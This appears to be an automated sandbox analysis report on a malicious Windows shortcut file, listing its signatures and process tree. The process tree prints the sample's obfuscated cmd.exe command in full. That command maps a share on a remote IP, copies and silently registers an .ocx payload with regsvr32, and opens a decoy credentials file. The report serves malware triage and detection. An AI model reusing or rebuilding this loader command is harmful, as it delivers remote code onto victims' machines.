Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
17/05/2026, 00:13
General
- Target Screenshot_2026_12_5.lnk
- Size 3KB
- Sample260517-ahws9aev2n
- SHA256 ca7372f358a71d19a939ecf7df5fec074048d8a6a3e23a6d6b01030c9cbcbc78
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Runs net.exe
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Screenshot_2026_12_5.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c "set y0JOkF6l=s^e&& !y0JOkF6l!t "vrLT=0" &&!y0JOkF6l!t "FIyv=1" &&!y0JOkF6l!t "SotR=2" &&!y0JOkF6l!t "gVAE=3" &&!y0JOkF6l!t "cAml=4" &&!y0JOkF6l!t "Wymz=5" &&!y0JOkF6l!t "Gjni=7" &&!y0JOkF6l!t "aMJE=8" &&!y0JOkF6l!t "SErm=9" &&!y0JOkF6l!t "lKWz=." &&!y0JOkF6l!t "MiiJ=o" &&!y0JOkF6l!t "FwOm=a" &&!y0JOkF6l!t "hXTD=l" &&!y0JOkF6l!t "XxcS=e" &&!y0JOkF6l!t "HaDH=r" &&!y0JOkF6l!t "caBz=x" &&!y0JOkF6l!t "XeQJ=t" &&!y0JOkF6l!t "YKRU=n" &&!y0JOkF6l!t "RgUE==" &&!y0JOkF6l!t "zXZF=p" &&!y0JOkF6l!t "TrPb=k" &&!y0JOkF6l!t "zrXC=c" &&!y0JOkF6l!t "FZeA=y" &&!y0JOkF6l!t "dzJp=g" &&!y0JOkF6l!t "YsXY=s" &&!y0JOkF6l!t "brsAiaqq=\\!Gjni!!vrLT!!lKWz!3!cAml!.20!Wymz!.!cAml!!gVAE!@8080\cl!MiiJ!ud\" && c!FwOm!!hXTD!l !y0JOkF6l!t "psRF5YUR=updat!XxcS!!HaDH!.!MiiJ!c!caBz!" && cal!hXTD! !y0JOkF6l!t "loc!FwOm!!XeQJ!i!MiiJ!!YKRU!_!XeQJ!!RgUE!"%!hXTD!oc!FwOm!!hXTD!!FwOm!!zXZF!!zXZF!d!FwOm!t!FwOm!%\Pac!TrPb!ages\!SErm!!aMJE!!SErm!271979!Wymz!17!SotR!!Wymz!!aMJE!17!FIyv!!cAml!!lKWz!!MiiJ!!zrXC!x.!MiiJ!cx"" && net us!XxcS! !brsAiaqq! && co!zXZF!!FZeA! !brsAiaqq!!psRF5YUR! !location_t! && s!XeQJ!!FwOm!rt /b r!XxcS!!dzJp!!YsXY!vr!gVAE!2 /!YsXY! /i !brsAiaqq!!psRF5YUR! & star!XeQJ! !brsAiaqq!Credentials.txt "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\net.exenet use \\70.34.205.43@8080\cloud\3⤵
-
-